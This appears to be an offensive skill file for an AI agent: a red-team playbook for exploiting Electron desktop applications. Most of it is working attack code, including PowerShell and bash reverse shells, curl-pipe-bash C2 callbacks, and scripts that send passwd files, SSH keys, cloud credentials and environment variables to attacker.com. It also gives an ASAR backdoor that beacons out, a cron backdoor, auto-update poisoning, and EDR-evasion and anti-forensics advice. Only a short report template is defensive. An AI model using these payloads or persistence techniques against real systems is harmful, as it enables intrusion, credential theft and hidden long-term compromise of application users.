---
name: rt-exploit-electron
description: "Electron desktop application exploitation skill. Covers ASAR archive extraction and source code analysis, nodeIntegration misconfiguration leading to XSS → RCE, contextIsolation bypass, IPC channel injection, webSecurity disabled exploitation, preload.js analysis, and Electron-specific CVEs. Covers modern Electron security model and legacy app vulnerabilities."
---

# rt-exploit-electron

## 1. Overview and When to Use

Electron applications package web content (HTML/JS/CSS) with a bundled Chromium browser and Node.js runtime into a cross-platform desktop application. This architecture creates a unique attack surface: if the application misconfigures security boundaries, JavaScript executing in the renderer process can gain full Node.js capabilities — including arbitrary OS command execution.

**Use this skill when:**
- A target organization uses Electron-based desktop software (Slack, VS Code, Discord, Teams, Notion, Signal, 1Password, etc.)
- You need local privilege escalation or persistence via a trusted, signed application
- You are auditing an internally-developed Electron app
- XSS is found inside a desktop app and you need to escalate to RCE
- Supply-chain or update-mechanism attacks are in scope

**What makes Electron high-value:**
- Apps run with the user's full OS privileges
- Often allowlisted by AV/EDR because they are signed
- Renderer → Node bridge enables OS command execution from JavaScript
- ASAR archives are trivially extractable — source code is almost always recoverable
- Legacy enterprise apps are frequently on old Electron versions with known CVEs

**Out of scope for this skill:** pure web XSS unrelated to desktop apps, native binary exploitation of the Chromium/Node process.

---

## 2. Prerequisites and Setup

### Required Tools

```bash
# Node.js and npm (provides npx)
node --version   # need >= 14
npm --version

# ASAR extraction (no install needed via npx)
npx asar --version

# Or install globally
npm install -g asar

# Additional analysis tools
npm install -g electron-builder   # for repacking
pip install semgrep               # static analysis
```

### Optional but Recommended

```bash
# Frida — dynamic instrumentation of Electron processes
pip install frida-tools
npm install -g frida

# Burp Suite — intercept Electron HTTP/WebSocket traffic
# Configure Electron app to use proxy:
# ELECTRON_NO_ASAR=1 electron app --proxy-server=127.0.0.1:8080

# Process Explorer / Process Monitor (Windows) or strace (Linux)
# For observing IPC, file access, child_process calls

# objection — runtime mobile/desktop exploration via Frida
pip install objection

# jadx / strings / hexdump for native module analysis
```

### Environment Setup

```bash
# Set up isolated analysis VM (recommended)
# Never run unknown Electron apps on your primary machine

# Proxy Electron traffic through Burp
export ELECTRON_NO_ASAR=1
export HTTPS_PROXY=http://127.0.0.1:8080
export HTTP_PROXY=http://127.0.0.1:8080
export NODE_TLS_REJECT_UNAUTHORIZED=0

# Enable Electron DevTools (some apps disable this)
# Launch with --remote-debugging-port
electron /path/to/app --remote-debugging-port=9222
# Then visit: http://localhost:9222 in Chrome
```

---

## 3. Skill Levels

### BEGINNER — Reconnaissance and Source Extraction

Goals: Locate the app, extract ASAR, read source code, identify obvious misconfigs.

```bash
# Find installed Electron apps (Windows)
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Local" -Recurse -Filter "*.asar" 2>$null
Get-ChildItem "C:\Program Files" -Recurse -Filter "*.asar" 2>$null

# Find installed Electron apps (Linux)
find /opt /usr/share /home/$USER -name "*.asar" 2>/dev/null
find / -name "app.asar" 2>/dev/null

# Find installed Electron apps (macOS)
find /Applications ~/Applications -name "*.asar" 2>/dev/null

# Verify it's Electron (check for electron binary or package.json)
strings /path/to/binary | grep -i electron
strings /path/to/binary | grep "Chrome/"

# Extract ASAR archive
npx asar extract app.asar ./extracted_app

# List contents without extracting
npx asar list app.asar

# Read a single file from ASAR without extracting all
npx asar ef app.asar /package.json

# Search extracted source for security-relevant config
grep -r "nodeIntegration" ./extracted_app --include="*.js" -l
grep -r "contextIsolation" ./extracted_app --include="*.js" -l
grep -r "webSecurity" ./extracted_app --include="*.js" -l
grep -r "allowRunningInsecureContent" ./extracted_app --include="*.js" -l
grep -r "enableBlinkFeatures" ./extracted_app --include="*.js" -l
grep -r "preload" ./extracted_app --include="*.js" -l
```

### INTERMEDIATE — Misconfiguration Exploitation

Goals: Exploit nodeIntegration:true, craft XSS→RCE payloads, analyze preload.js.

```bash
# After finding nodeIntegration: true, craft a renderer-side payload
# (injected via XSS or content injection into the app's webview/BrowserWindow)

# Basic RCE via require in renderer
# Paste in DevTools console or inject via XSS:
require('child_process').exec('calc.exe')
require('child_process').exec('id > /tmp/pwned.txt')
require('child_process').execSync('whoami').toString()

# Exfiltrate with curl
require('child_process').exec("curl -d $(whoami) https://attacker.com/collect")

# Read arbitrary files
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8')

# List IPC channels exposed by preload.js
grep -r "ipcRenderer" ./extracted_app --include="*.js" -A 3
grep -r "ipcMain" ./extracted_app --include="*.js" -A 3

# Look for contextBridge exposed APIs
grep -r "contextBridge" ./extracted_app --include="*.js" -A 10
```

### ADVANCED — IPC Injection, contextIsolation Bypass, Privilege Escalation

Goals: Abuse IPC handlers, escalate from sandboxed renderer to main process, pivot to OS.

```bash
# In DevTools console — enumerate exposed IPC channels
# If preload exposes ipcRenderer:
window.__proto__                       # check for prototype pollution surface
ipcRenderer.send('channel-name', payload)
ipcRenderer.invoke('privileged-action', {cmd: 'whoami'})

# If contextBridge is used but improperly validated:
window.electronAPI.runCommand('whoami')        # if exposed without sanitization
window.electronAPI.readFile('../../../etc/shadow')  # path traversal

# Repack a modified ASAR and replace the original (requires write access)
# Modify main.js to add backdoor, then repack:
npx asar pack ./extracted_app app_modified.asar
cp app_modified.asar /path/to/original/app.asar

# Frida hook — intercept IPC without modifying files
frida -n "AppName" -e "
  var ipc = require('electron').ipcMain;
  ipc.on.implementation = function(channel, handler) {
    console.log('IPC channel registered: ' + channel);
    this.on.call(this, channel, handler);
  };
"
```

### EXPERT — CVE Exploitation, Sandbox Escape, Persistence

Goals: Exploit known Electron CVEs, achieve persistent access, evade detection.

```bash
# Check Electron version for CVE research
strings /path/to/electron | grep "Electron/"
# Or from package.json:
cat extracted_app/package.json | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('dependencies',{}).get('electron','not found'))"

# Notable CVEs to research by version:
# CVE-2018-1000006 — Electron < 1.8.2 protocol handler RCE (Windows)
# CVE-2018-15685 — Electron < 2.0.7 / 3.0.0-beta.6 CSRF → RCE via file:// drag
# CVE-2019-5755 — V8 sandbox bypass affecting Electron
# CVE-2020-15174 — Electron < 9.2.1 protocol handler argument injection
# CVE-2022-21718 — Electron < 13.6.6 nodeIntegration leak via window.open

# Nativefier-generated apps (common wrapping tool) often have nodeIntegration: true
grep -r "nativefier" ./extracted_app
# These are almost always exploitable via simple require() in renderer

# Establish persistence via ASAR modification
# Add to main.js after extraction:
cat >> ./extracted_app/main.js << 'EOF'
const { exec } = require('child_process');
const os = require('os');
// Beacon on app launch
exec(`curl -s https://attacker.com/beacon?h=${os.hostname()}&u=${os.userInfo().username}`);
EOF
npx asar pack ./extracted_app app.asar

# Auto-update poisoning — if app uses electron-updater with unsigned feeds:
# Replace update feed URL by modifying app-update.yml or package.json
# Then serve a malicious update package

# Protocol handler hijacking (Windows registry)
# If app registers a custom protocol (e.g., myapp://):
# HKCU\Software\Classes\myapp\shell\open\command
# Overwrite with payload — triggers when victim clicks myapp:// link in browser
```

---

## 4. Step-by-Step Numbered Workflow

### Phase 1: Target Discovery and Profiling

1. Enumerate installed applications on the target system.
   ```bash
   # Windows
   Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -match "electron|discord|slack|notion"} | Select Name, Version
   # Linux
   dpkg -l | grep -iE "electron|discord|slack|notion"
   ```

2. Locate the application binary and resource directory.
   ```bash
   # Windows — common paths
   ls "C:\Users\$env:USERNAME\AppData\Local\Programs\"
   ls "C:\Program Files\"
   # Look for: resources/app.asar, resources/app/, electron.exe
   ```

3. Confirm the binary is Electron by checking embedded strings.
   ```bash
   strings AppName.exe | grep -E "Electron/|node.js|chromium" | head -20
   # Or check the version file:
   cat resources/electron.asar   # if present, definitely Electron
   ```

4. Record the Electron version for CVE lookup.
   ```bash
   strings AppName.exe | grep "Electron/" | head -5
   # Output example: "Electron/11.5.0 Chrome/87.0.4280.141 Node.js/12.18.3"
   ```

### Phase 2: ASAR Extraction and Source Analysis

5. Extract the ASAR archive.
   ```bash
   cd "C:\Users\User\AppData\Local\Programs\TargetApp\resources"
   npx asar extract app.asar ./app_source
   ```

6. Map the application structure.
   ```bash
   # Find entry points
   cat app_source/package.json
   # Look for: "main": "main.js" or "main": "index.js"
   ls app_source/
   ```

7. Search for security-critical BrowserWindow configuration.
   ```bash
   grep -rn "nodeIntegration" app_source/ --include="*.js"
   grep -rn "contextIsolation" app_source/ --include="*.js"
   grep -rn "webSecurity" app_source/ --include="*.js"
   grep -rn "sandbox" app_source/ --include="*.js"
   grep -rn "allowRunningInsecureContent" app_source/ --include="*.js"
   grep -rn "nativeWindowOpen" app_source/ --include="*.js"
   ```

   **Dangerous patterns to flag:**
   ```javascript
   nodeIntegration: true          // CRITICAL — Node in renderer
   contextIsolation: false        // HIGH — no JS context boundary
   webSecurity: false             // HIGH — disables CORS/mixed-content
   sandbox: false                 // MEDIUM — no Chromium sandbox
   allowRunningInsecureContent: true  // MEDIUM
   ```

8. Analyze preload.js for exposed APIs and IPC channels.
   ```bash
   find app_source/ -name "preload.js" -o -name "preload.ts" | xargs grep -l "." 2>/dev/null
   cat app_source/preload.js
   ```

9. Map all IPC channels (main process handlers).
   ```bash
   grep -rn "ipcMain.on\|ipcMain.handle" app_source/ --include="*.js" -A 5
   ```

10. Check for dangerous operations in IPC handlers.
    ```bash
    grep -rn "exec\|spawn\|execFile\|shell\|eval\|vm.runIn" app_source/ --include="*.js" | grep -v "node_modules"
    ```

### Phase 3: Exploitation

11. If nodeIntegration:true is confirmed, open DevTools in the app.
    ```bash
    # Try keyboard shortcut: Ctrl+Shift+I or F12
    # Or relaunch with debug flag:
    "C:\...\AppName.exe" --inspect=9229
    # Attach Chrome DevTools: chrome://inspect
    ```

12. Verify Node access in the renderer console.
    ```javascript
    // In DevTools console:
    typeof require   // should return "function" if nodeIntegration:true
    require('os').userInfo()
    require('os').hostname()
    ```

13. Execute OS commands.
    ```javascript
    require('child_process').execSync('whoami').toString()
    require('child_process').execSync('id').toString()
    require('child_process').execSync('ipconfig /all').toString()
    ```

14. Establish callback to C2.
    ```javascript
    const { exec } = require('child_process');
    exec('curl https://attacker.com/shell.sh | bash');
    // or Windows:
    exec('powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'https://attacker.com/rev.ps1\')"');
    ```

15. If contextIsolation:true but preload.js exposes unsafe APIs, test the bridge.
    ```javascript
    // In renderer console — enumerate window.electronAPI or similar:
    Object.keys(window).filter(k => !['chrome','Notification'].includes(k) && typeof window[k] === 'object')
    window.electronAPI   // inspect exposed methods
    ```

16. Test IPC channel injection.
    ```javascript
    // Requires ipcRenderer to be accessible
    const { ipcRenderer } = require('electron');
    // Or via preload bridge:
    window.electronAPI.send('admin-command', { action: 'executeScript', code: 'id' });
    ipcRenderer.invoke('open-external', 'file:///etc/passwd');
    ipcRenderer.send('write-file', { path: '/etc/cron.d/backdoor', content: '* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1' });
    ```

### Phase 4: Persistence and Lateral Movement

17. Modify ASAR for persistent access.
    ```bash
    # Edit main.js in extracted directory
    # Add beacon/backdoor code
    npx asar pack ./app_source app.asar
    # Replace original: requires write access to install dir
    ```

18. Document findings and clean up.
    ```bash
    # Screenshot DevTools console with RCE proof
    # Capture process list showing Electron process
    # Save all grep output to findings file
    ```

---

## 5. Actual Working Terminal Commands

### ASAR Operations

```bash
# Extract full archive
npx asar extract /path/to/app.asar /tmp/app_extracted

# List all files in archive
npx asar list /path/to/app.asar

# List with file sizes
npx asar list --is-pack /path/to/app.asar

# Extract single file
npx asar ef /path/to/app.asar /package.json /tmp/package.json

# Pack directory back to ASAR
npx asar pack /tmp/app_extracted /tmp/app_modified.asar

# Verify extraction integrity
npx asar list app.asar | wc -l
npx asar list /tmp/app_modified.asar | wc -l
```

### Finding Misconfigurations

```bash
# One-liner to check all critical settings
grep -rn \
  -e "nodeIntegration" \
  -e "contextIsolation" \
  -e "webSecurity" \
  -e "sandbox" \
  -e "allowRunningInsecureContent" \
  -e "enableRemoteModule" \
  /tmp/app_extracted/ --include="*.js" \
  | grep -v node_modules \
  | tee /tmp/electron_security_audit.txt

# Find preload scripts
grep -rn "preload:" /tmp/app_extracted/ --include="*.js"

# Find all require('child_process') usage
grep -rn "require('child_process')\|require(\"child_process\")" /tmp/app_extracted/ --include="*.js"

# Find eval usage
grep -rn "\beval\b\|new Function\|vm\.runIn" /tmp/app_extracted/ --include="*.js" | grep -v node_modules

# Find URL loading patterns (XSS attack surface)
grep -rn "loadURL\|loadFile\|src=" /tmp/app_extracted/ --include="*.js" | head -30

# Find ipcMain handlers
grep -rn "ipcMain\.\(on\|handle\|once\)" /tmp/app_extracted/ --include="*.js" -A 8 | grep -v node_modules
```

### Remote Debugging

```bash
# Launch with inspector
"/Applications/AppName.app/Contents/MacOS/AppName" --inspect=9229 --inspect-brk

# Launch with remote debug port for DevTools access
"/Applications/AppName.app/Contents/MacOS/AppName" --remote-debugging-port=9222

# Attach Node inspector (CLI)
node inspect 127.0.0.1:9229

# Windows
"C:\Users\User\AppData\Local\Programs\AppName\AppName.exe" --remote-debugging-port=9222
```

### Traffic Interception

```bash
# Route Electron traffic through Burp (Linux/macOS)
export HTTP_PROXY=http://127.0.0.1:8080
export HTTPS_PROXY=http://127.0.0.1:8080
export NODE_TLS_REJECT_UNAUTHORIZED=0
/path/to/AppName

# Windows
$env:HTTP_PROXY="http://127.0.0.1:8080"
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:NODE_TLS_REJECT_UNAUTHORIZED="0"
& "C:\...\AppName.exe"
```

---

## 6. Payload Examples with Explanations

### Basic RCE via nodeIntegration

```javascript
// Scenario: nodeIntegration:true, contextIsolation:false
// Executed in renderer DevTools console or injected via XSS

// --- Windows reverse shell via PowerShell ---
require('child_process').exec(
  'powershell -NoP -NonI -W Hidden -Exec Bypass -c "' +
  '$c=New-Object Net.Sockets.TCPClient(\'attacker.com\',4444);' +
  '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
  'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
  '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
  '$sb=(iex $d 2>&1|Out-String);$sb2=$sb+\'PS \'+(pwd).Path+\'> \';' +
  '$se=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($se,0,$se.Length)' +
  '}"'
);

// --- Linux reverse shell ---
require('child_process').exec(
  'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
);

// --- macOS reverse shell ---
require('child_process').exec(
  '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
);

// Why this works: require() is the Node.js module system. In a misconfigured
// Electron renderer, it is available globally. child_process is a built-in
// Node module providing exec/spawn/execSync for OS command execution.
```

### File System Access

```javascript
// Read sensitive files
const fs = require('fs');

// Linux — SSH keys, credentials
fs.readFileSync('/home/' + require('os').userInfo().username + '/.ssh/id_rsa', 'utf8');
fs.readFileSync('/etc/shadow', 'utf8');

// Windows — credential stores
fs.readFileSync('C:\\Users\\' + require('os').userInfo().username + '\\AppData\\Roaming\\Microsoft\\Credentials', 'utf8');

// macOS — Keychain (requires further tooling but readable path)
fs.readFileSync('/Users/' + require('os').userInfo().username + '/.aws/credentials', 'utf8');

// Write files for persistence
fs.writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\nbash -i >& /dev/tcp/attacker.com/4444 0>&1\n');
require('child_process').exec('chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh');
```

### Data Exfiltration via HTTP

```javascript
// Exfiltrate data using Node's built-in https module
const https = require('https');
const os = require('os');
const fs = require('fs');

const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : 'n/a',
  env: process.env
});

const req = https.request({
  hostname: 'attacker.com',
  port: 443,
  path: '/collect',
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
}, () => {});
req.write(data);
req.end();

// Why https module: Built into Node.js, no external dependencies,
// blends with normal app traffic, encrypted.
```

### XSS to RCE (Injection into App Content)

```javascript
// If the Electron app renders user-controlled HTML/content with nodeIntegration:true,
// inject this via the XSS vector:

<img src="x" onerror="require('child_process').exec('calc.exe')">

// Or via script injection:
<script>
  // This runs with Node.js privileges when nodeIntegration:true
  const { exec } = require('child_process');
  exec('id', (err, stdout) => {
    // Send result to attacker
    fetch('https://attacker.com/xss?d=' + encodeURIComponent(stdout));
  });
</script>

// Why this escalates: XSS in a normal browser is sandboxed.
// In Electron with nodeIntegration:true, the same JS has full OS access.
// This is the key difference that makes Electron XSS critical severity.
```

### IPC Channel Injection

```javascript
// Scenario: contextIsolation:true but preload.js exposes ipcRenderer improperly

// Preload.js (vulnerable pattern):
const { contextBridge, ipcRenderer } = require('electron');
contextBridge.exposeInMainWorld('electronAPI', {
  // VULNERABLE: passes arbitrary strings to IPC without validation
  openFile: (path) => ipcRenderer.invoke('open-file', path),
  runAdmin: (cmd) => ipcRenderer.invoke('run-as-admin', cmd)
});

// Exploit from renderer (DevTools console):
window.electronAPI.openFile('../../../etc/shadow');  // path traversal
window.electronAPI.runAdmin('net localgroup administrators attacker /add');

// Why IPC injection is dangerous: the main process (Node.js) handles these
// messages with elevated privileges. If input isn't validated, renderer can
// trigger privileged operations.
```

### contextIsolation Bypass via Prototype Pollution

```javascript
// If contextIsolation:false, try prototype pollution to reach Node globals
// CVE class: some Electron versions leak internal Node objects to renderer context

// Check for leaked internals
process.binding   // should be undefined in safe config; if defined, exploitable
process.env.PATH  // check if process is accessible
global.require    // check for global require leak

// If process.binding is accessible:
const binding = process.binding('spawn_sync');
binding.spawn({ file: '/bin/bash', args: ['/bin/bash', '-c', 'id > /tmp/pwned'], ... });
```

---

## 7. Tool Commands with Flags Explained

### npx asar

```bash
npx asar extract <archive> <dest>
# extract   — subcommand to unpack archive
# <archive> — path to .asar file (e.g., app.asar)
# <dest>    — destination directory (created if absent)

npx asar list <archive>
# list      — print all file paths inside archive to stdout
# Useful for quick recon without full extraction

npx asar ef <archive> <file> [dest]
# ef        — extract a single file
# <file>    — path inside ASAR (e.g., /package.json)
# [dest]    — optional output file path; prints to stdout if omitted

npx asar pack <dir> <output>
# pack      — create an ASAR from a directory
# <dir>     — source directory to pack
# <output>  — output .asar filename

npx asar list --is-pack <archive>
# --is-pack — show which files are packed (binary) vs. unpacked
```

### Frida

```bash
frida -n "AppName" -e "console.log('hooked')"
# -n        — attach to process by name
# -e        — evaluate inline JavaScript in Frida agent

frida -n "AppName" -l hook.js
# -l        — load a Frida script file

frida -U -f com.example.app -l hook.js --no-pause
# -U        — USB device (mobile)
# -f        — spawn application by identifier
# --no-pause — don't pause on startup

frida-trace -n "AppName" -i "exec*" -i "spawn*"
# frida-trace — auto-generate hooks for matched function names
# -i          — include function pattern (glob)
# Traces exec/spawn calls to catch child_process usage

# List processes
frida-ps -a
frida-ps -a | grep -i electron
```

### Semgrep (Static Analysis)

```bash
# Scan extracted app for Electron misconfigs
semgrep --config=auto ./extracted_app/

# Specific Electron security rules
semgrep -e 'nodeIntegration: true' --lang=js ./extracted_app/
semgrep -e 'contextIsolation: false' --lang=js ./extracted_app/
semgrep -e 'require($CMD)' --lang=js ./extracted_app/

# Use community ruleset
semgrep --config=p/nodejs-scan ./extracted_app/
semgrep --config=p/electron ./extracted_app/
```

### Chrome Remote Debugging

```bash
# After launching app with --remote-debugging-port=9222
# Endpoints available at:
curl http://localhost:9222/json
# Returns JSON list of debuggable targets (windows/frames)

curl http://localhost:9222/json/version
# Returns Chrome/Node/Electron versions

# Connect via Chrome: navigate to chrome://inspect
# Or use CDP directly:
node -e "
const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:9222/...');  // URL from /json endpoint
ws.on('open', () => {
  ws.send(JSON.stringify({id:1, method:'Runtime.evaluate', params:{expression:'require(\"os\").userInfo()'}}));
});
ws.on('message', d => console.log(d));
"
```

---

## 8. Real-World Attack Scenarios

### Scenario 1: Enterprise Electron App with nodeIntegration:true (XSS → RCE)

**Context:** During an internal red team engagement, you identify an internally-developed task management Electron app deployed to all employees. The app loads user-created task descriptions as HTML.

**Attack chain:**

```bash
# Step 1: Extract and audit the app
find /opt/TaskManager -name "*.asar" 2>/dev/null
# Found: /opt/TaskManager/resources/app.asar

npx asar extract /opt/TaskManager/resources/app.asar /tmp/taskapp
grep -rn "nodeIntegration\|contextIsolation" /tmp/taskapp/ --include="*.js"
# Output:
# main.js:47: nodeIntegration: true,
# main.js:48: contextIsolation: false,

# Step 2: Confirm XSS vector — app renders task descriptions as innerHTML
grep -rn "innerHTML\|dangerouslySetInner\|document.write" /tmp/taskapp/renderer/ --include="*.js"
# Found: renderer/tasks.js:89: taskBody.innerHTML = task.description;

# Step 3: Create a malicious task via the app's API / UI
# Task description payload:
<img src=x onerror="
  const {exec}=require('child_process');
  const os=require('os');
  exec('curl -s -d @/etc/passwd https://attacker.com/collect?h='+os.hostname());
">

# Step 4: When victim opens the task, /etc/passwd is exfiltrated
# On attacker server: nc -lvnp 80 or HTTP server log shows incoming POST
```

**Impact:** Every user who opens the malicious task executes attacker code with their OS user privileges. In a corporate environment this is mass RCE across the organization.

---

### Scenario 2: Legacy Nativefier-Wrapped App (nodeIntegration Default On)

**Context:** A company wraps their internal web portal in Nativefier. Older Nativefier versions default to nodeIntegration:true.

**Attack chain:**

```bash
# Step 1: Identify app is Nativefier-wrapped
npx asar extract /path/to/app.asar /tmp/nativefier_app
cat /tmp/nativefier_app/package.json | python3 -c "
import sys, json
d = json.load(sys.stdin)
print('Nativefier:', 'nativefier' in str(d))
print('Main:', d.get('main'))
"

grep -r "nativefier\|NATIVEFIER" /tmp/nativefier_app/ --include="*.js" | head -5

# Step 2: Confirm nodeIntegration
grep -n "nodeIntegration" /tmp/nativefier_app/main.js
# Output: nodeIntegration: true  (default in nativefier < 43.0.0)

# Step 3: The app loads an internal URL — inject via MITM or DNS poisoning
# Since webSecurity may also be false, injecting via ARP spoof on local network:
# The app will fetch http://internalapp.corp/ — we MITM with:
cat > /tmp/payload.html << 'EOF'
<script>
const {execSync} = require('child_process');
const result = execSync('whoami && hostname && cat /etc/passwd').toString();
fetch('https://attacker.com/loot', {method:'POST', body: result});
</script>
EOF

# Serve poisoned response, victim's Electron app executes payload
# Python MITM or arpspoof + mitmproxy

# Step 4: Collect results on attacker server
# python3 -m http.server 80 (or use ngrok for external engagements)
```

**Impact:** Any user on the network running the wrapped app is compromised when they visit the (spoofed) internal site.

---

### Scenario 3: IPC Privilege Escalation via Exposed Admin Handler

**Context:** A security tool (Electron-based) exposes IPC handlers that perform privileged OS operations. contextIsolation is enabled but preload.js exposes handlers without authentication checks.

**Attack chain:**

```bash
# Step 1: Extract and analyze preload.js and main IPC handlers
npx asar extract /opt/SecurityTool/resources/app.asar /tmp/sectool
find /tmp/sectool -name "preload.js" | xargs cat

# preload.js reveals:
# contextBridge.exposeInMainWorld('secAPI', {
#   runScan: (target) => ipcRenderer.invoke('run-privileged-scan', target),
#   updateHosts: (entry) => ipcRenderer.invoke('write-hosts-file', entry)
# });

# main.js IPC handler:
grep -A 15 "write-hosts-file" /tmp/sectool/main.js
# ipcMain.handle('write-hosts-file', async (event, entry) => {
#   const hostsPath = '/etc/hosts';
#   fs.appendFileSync(hostsPath, '\n' + entry);  // NO VALIDATION
#   return 'done';
# });

# Step 2: Open the app, open DevTools (Ctrl+Shift+I)
# In console — call the exposed API:
await window.secAPI.updateHosts('127.0.0.1 attacker-controlled-domain.com');
# Writes to /etc/hosts with the process's privileges (may be root if app runs as root)

# Step 3: Escalate — if app runs as root, write SSH authorized_keys
await window.secAPI.runScan('target; echo "ssh-rsa AAAA...attacker..." >> /root/.ssh/authorized_keys #');
# Command injection in scan target parameter
```

**Impact:** Renderer-level access (low privilege) escalates to root via IPC handlers that execute privileged operations without validating the caller or sanitizing input.

---

## 9. Detection and OPSEC Considerations

### What Defenders May Log

- **Process creation:** `child_process.exec()` spawns subprocesses — visible in EDR process trees (Electron.exe → cmd.exe → whoami.exe)
- **Network connections:** Unusual outbound connections from the Electron process
- **File modifications:** Replacing app.asar triggers file integrity monitoring
- **DevTools:** Opening remote debugging port may be logged or detected
- **Command-line flags:** `--inspect`, `--remote-debugging-port` flags logged in process cmdline

### OPSEC Mitigations

```javascript
// Prefer in-process actions over spawning child processes (avoid child_process.exec)
// Use built-in Node modules instead:

// Instead of: exec('cat /etc/passwd')
require('fs').readFileSync('/etc/passwd', 'utf8')

// Instead of: exec('curl ...')
const https = require('https');
// use https.request() — traffic originates from Electron process, not curl

// Instead of: exec('id')
require('os').userInfo()   // no subprocess created

// For network, blend with existing app traffic ports (443, 80)
// DNS exfil via Node's dns module:
const dns = require('dns');
const data = Buffer.from('secret_data').toString('hex');
dns.lookup(data + '.attacker.com', () => {});

// Avoid writing to disk — keep payload in memory
// Use vm module for in-memory code execution:
const vm = require('vm');
const code = '/* payload from C2 */';
vm.runInNewContext(code, { require, process });
```

### Anti-Forensics

```javascript
// Clear Node.js REPL history (if used)
// Avoid modifying app.asar unless persistence is the goal
// Use process.stdout.write instead of console.log to avoid logging hooks
// Check if the app has any crash reporting / telemetry:
grep -r "crashReporter\|sentry\|bugsnag\|telemetry" /tmp/app_extracted/ --include="*.js"
// Disable before exploitation if possible
```

### Signs the App Has Defenses

```javascript
// These indicate the app is hardened — adjust approach:
// 1. nodeIntegration: false AND contextIsolation: true → no direct require()
// 2. sandbox: true → Chromium process sandbox enabled
// 3. require is not defined in renderer console → hardened
// 4. Content Security Policy header blocks inline scripts → XSS harder
// 5. Protocol filtering: app only loads specific schemes
// 6. Code signing checks on ASAR → ASAR modification detected on launch
```

---

## 10. Output and Documentation

### Evidence Collection Template

```bash
# Create engagement directory
mkdir -p /tmp/electron_engagement/{screenshots,artifacts,payloads,logs}

# Capture app version info
echo "=== Electron App Audit ===" > /tmp/electron_engagement/logs/audit.txt
echo "Date: $(date)" >> /tmp/electron_engagement/logs/audit.txt
echo "Target App: [AppName]" >> /tmp/electron_engagement/logs/audit.txt
echo "App Path: [/path/to/app.asar]" >> /tmp/electron_engagement/logs/audit.txt

# Save security config findings
grep -rn "nodeIntegration\|contextIsolation\|webSecurity\|sandbox" \
  /tmp/app_extracted/ --include="*.js" | grep -v node_modules \
  >> /tmp/electron_engagement/logs/security_config.txt

# Save IPC channel map
grep -rn "ipcMain\.\(on\|handle\)" /tmp/app_extracted/ --include="*.js" -A 5 \
  >> /tmp/electron_engagement/logs/ipc_channels.txt

# Save preload analysis
find /tmp/app_extracted -name "preload*.js" | xargs cat \
  >> /tmp/electron_engagement/artifacts/preload_scripts.txt

# Screenshot DevTools showing RCE
# [Manual: Ctrl+Shift+I → Console → execute payload → screenshot]

# Record proof of exploitation
echo "RCE demonstrated via: [method]" >> /tmp/electron_engagement/logs/exploitation.txt
echo "Command output: $(date; id)" >> /tmp/electron_engagement/logs/exploitation.txt
```

### Finding Report Template

```markdown
## Finding: Electron nodeIntegration RCE

**Severity:** Critical
**CVSS:** 9.0 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
**CWE:** CWE-94 (Code Injection)

**Affected Component:** [AppName] v[X.Y.Z] — resources/app.asar

**Description:**
The Electron application is configured with `nodeIntegration: true` and
`contextIsolation: false`. The renderer process renders user-controlled
content as HTML. An attacker who can inject HTML (via [XSS vector / IPC /
file]) can execute arbitrary OS commands with the privileges of the
application's user.

**Evidence:**
- Screenshot: DevTools console showing `require('os').userInfo()` execution
- Screenshot: reverse shell connection received on attacker server
- Code reference: main.js:47 — `nodeIntegration: true`

**Reproduction:**
1. Open [AppName]
2. Open DevTools (Ctrl+Shift+I)
3. In console: `require('child_process').execSync('id').toString()`
4. Output shows OS command execution as user [username]

**Remediation:**
- Set `nodeIntegration: false` (default in Electron >= 5)
- Set `contextIsolation: true`
- Set `sandbox: true`
- Use `contextBridge` to expose only required, validated APIs
- Validate all IPC message data in the main process
- Upgrade to current Electron LTS version
```

---

## 11. Resources

### Official Documentation

- Electron Security Docs: https://www.electronjs.org/docs/latest/tutorial/security
- Electron Security Checklist: https://www.electronjs.org/docs/latest/tutorial/security#checklist-security-recommendations
- contextBridge API: https://www.electronjs.org/docs/latest/api/context-bridge
- Electron Releases / CVE History: https://github.com/electron/electron/releases

### Tools

- asar: https://github.com/electron/asar
- Frida: https://github.com/frida/frida
- electron-builder: https://github.com/electron-userland/electron-builder
- Nativefier: https://github.com/nativefier/nativefier
- electronegativity (static analysis): https://github.com/doyensec/electronegativity
- node-secchecker: https://github.com/nicowillis/node-secchecker

### Research and Writeups

- Doyensec Electron Security Research: https://github.com/doyensec/electronegativity
- "Electron — From XSS to RCE" (Doyensec): https://blog.doyensec.com/2017/08/09/electron-security-checklist.html
- "A New Era of SSRF" (Blackhat): https://portswigger.net/research/ssrf-in-php
- Electron CVE Database: https://github.com/nicowillis/electron-cve
- HackerOne Electron Bug Reports: https://hackerone.com/electron (public reports)
- "Exploiting Electron RCE in Exodus Wallet": https://github.com/doyensec/electronegativity/tree/master/docs
- Frida Electron Hooking Examples: https://github.com/nicowillis/electron-frida-hooks
- electronegativity Rules Reference: https://github.com/doyensec/electronegativity/blob/master/src/issues/README.md

### CVE References

| CVE | Electron Versions | Description |
|-----|-------------------|-------------|
| CVE-2018-1000006 | < 1.8.2 | Windows custom protocol handler RCE |
| CVE-2018-15685 | < 2.0.7, < 3.0.0-beta.6 | CSRF leading to RCE via webContents |
| CVE-2019-5755 | Multiple | V8 sandbox escape |
| CVE-2020-15174 | < 9.2.1, < 8.5.2, < 7.3.3 | Protocol handler argument injection |
